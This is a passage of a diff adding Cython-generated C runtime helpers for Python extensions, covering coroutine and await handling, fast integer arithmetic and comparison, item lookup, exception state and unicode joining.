+#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* PyIntBinop */ + #if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long x; + long a = PyInt_AS_LONG(op1); + + x = (long)((unsigned long)a + (unsigned long)b); + if (likely((x^a) >= 0 || (x^b) >= 0)) + return PyInt_FromLong(x); + return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op2); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + } + x = a + b; + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla + llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("add", return NULL) + result = ((double)a) + (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); +} +#endif + +/* GetItemInt */ + static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (unlikely(!j)) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyList_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyTuple_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PyMappingMethods *mm = Py_TYPE(o)->tp_as_mapping; + PySequenceMethods *sm = Py_TYPE(o)->tp_as_sequence; + if (mm && mm->mp_subscript) { + PyObject *r, *key = PyInt_FromSsize_t(i); + if (unlikely(!key)) return NULL; + r = mm->mp_subscript(o, key); + Py_DECREF(key); + return r; + } + if (likely(sm && sm->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(sm->sq_length)) { + Py_ssize_t l = sm->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return sm->sq_item(o, i); + } + } +#else + if (is_list || !PyMapping_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* ObjectGetItem */ + #if CYTHON_USE_TYPE_SLOTS +static PyObject *__Pyx_PyObject_GetIndex(PyObject *obj, PyObject *index) { + PyObject *runerr = NULL; + Py_ssize_t key_value; + key_value = __Pyx_PyIndex_AsSsize_t(index); + if (likely(key_value != -1 || !(runerr = PyErr_Occurred()))) { + return __Pyx_GetItemInt_Fast(obj, key_value, 0, 1, 1); + } + if (PyErr_GivenExceptionMatches(runerr, PyExc_OverflowError)) { + __Pyx_TypeName index_type_name = __Pyx_PyType_GetName(Py_TYPE(index)); + PyErr_Clear(); + PyErr_Format(PyExc_IndexError, + "cannot fit '" __Pyx_FMT_TYPENAME "' into an index-sized integer", index_type_name); + __Pyx_DECREF_TypeName(index_type_name); + } + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem_Slow(PyObject *obj, PyObject *key) { + __Pyx_TypeName obj_type_name; + if (likely(PyType_Check(obj))) { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(obj, __pyx_n_s_class_getitem); + if (!meth) { + PyErr_Clear(); + } else { + PyObject *result = __Pyx_PyObject_CallOneArg(meth, key); + Py_DECREF(meth); + return result; + } + } + obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "'" __Pyx_FMT_TYPENAME "' object is not subscriptable", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key) { + PyTypeObject *tp = Py_TYPE(obj); + PyMappingMethods *mm = tp->tp_as_mapping; + PySequenceMethods *sm = tp->tp_as_sequence; + if (likely(mm && mm->mp_subscript)) { + return mm->mp_subscript(obj, key); + } + if (likely(sm && sm->sq_item)) { + return __Pyx_PyObject_GetIndex(obj, key); + } + return __Pyx_PyObject_GetItem_Slow(obj, key); +} +#endif + +/* DictGetItem */ + #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { + PyObject *value; + value = PyDict_GetItemWithError(d, key); + if (unlikely(!value)) { + if (!PyErr_Occurred()) { + if (unlikely(PyTuple_Check(key))) { + PyObject* args = PyTuple_Pack(1, key); + if (likely(args)) { + PyErr_SetObject(PyExc_KeyError, args); + Py_DECREF(args); + } + } else { + PyErr_SetObject(PyExc_KeyError, key); + } + } + return NULL; + } + Py_INCREF(value); + return value; +} +#endif + +/* PyIntCompare */ + static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_UNUSED_VAR(inplace); + if (op1 == op2) { + return 1; + } + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + return (a == b); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + int unequal; + unsigned long uintval; + Py_ssize_t size = __Pyx_PyLong_DigitCount(op1); + const digit* digits = __Pyx_PyLong_Digits(op1); + if (intval == 0) { + return (__Pyx_PyLong_IsZero(op1) == 1); + } else if (intval < 0) { + if (__Pyx_PyLong_IsNonNeg(op1)) + return 0; + intval = -intval; + } else { + if (__Pyx_PyLong_IsNeg(op1)) + return 0; + } + uintval = (unsigned long) intval; +#if PyLong_SHIFT * 4 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 4)) { + unequal = (size != 5) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[4] != ((uintval >> (4 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 3 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 3)) { + unequal = (size != 4) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 2 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 2)) { + unequal = (size != 3) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 1 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 1)) { + unequal = (size != 2) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif + unequal = (size != 1) || (((unsigned long) digits[0]) != (uintval & (unsigned long) PyLong_MASK)); + return (unequal == 0); + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + return ((double)a == (double)b); + } + return __Pyx_PyObject_IsTrueAndDecref( + PyObject_RichCompare(op1, op2, Py_EQ)); +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* UnicodeConcatInPlace */ + # if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 +static int +__Pyx_unicode_modifiable(PyObject *unicode) +{ + if (Py_REFCNT(unicode) != 1) + return 0; + if (!PyUnicode_CheckExact(unicode)) + return 0; + if (PyUnicode_CHECK_INTERNED(unicode)) + return 0; + return 1; +} +static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ) { + PyObject *left = *p_left; + Py_ssize_t left_len, right_len, new_len; + if (unlikely(__Pyx_PyUnicode_READY(left) == -1)) + return NULL; + if (unlikely(__Pyx_PyUnicode_READY(right) == -1)) + return NULL; + left_len = PyUnicode_GET_LENGTH(left); + if (left_len == 0) { + Py_INCREF(right); + return right; + } + right_len = PyUnicode_GET_LENGTH(right); + if (right_len == 0) { + Py_INCREF(left); + return left; + } + if (unlikely(left_len > PY_SSIZE_T_MAX - right_len)) { + PyErr_SetString(PyExc_OverflowError, + "strings are too large to concat"); + return NULL; + } + new_len = left_len + right_len; + if (__Pyx_unicode_modifiable(left) + && PyUnicode_CheckExact(right) + && PyUnicode_KIND(right) <= PyUnicode_KIND(left) + && !(PyUnicode_IS_ASCII(left) && !PyUnicode_IS_ASCII(right))) { + int ret; + __Pyx_GIVEREF(*p_left); + ret = PyUnicode_Resize(p_left, new_len); + __Pyx_GOTREF(*p_left); + if (unlikely(ret != 0)) + return NULL; + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(*p_left, left_len, right, 0, right_len) < 0)) return NULL; + #else + _PyUnicode_FastCopyCharacters(*p_left, left_len, right, 0, right_len); + #endif + __Pyx_INCREF(*p_left); + __Pyx_GIVEREF(*p_left); + return *p_left; + } else { + return __Pyx_PyUnicode_Concat(left, right); + } + } +#endif + +/* JoinPyUnicode */ + static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; 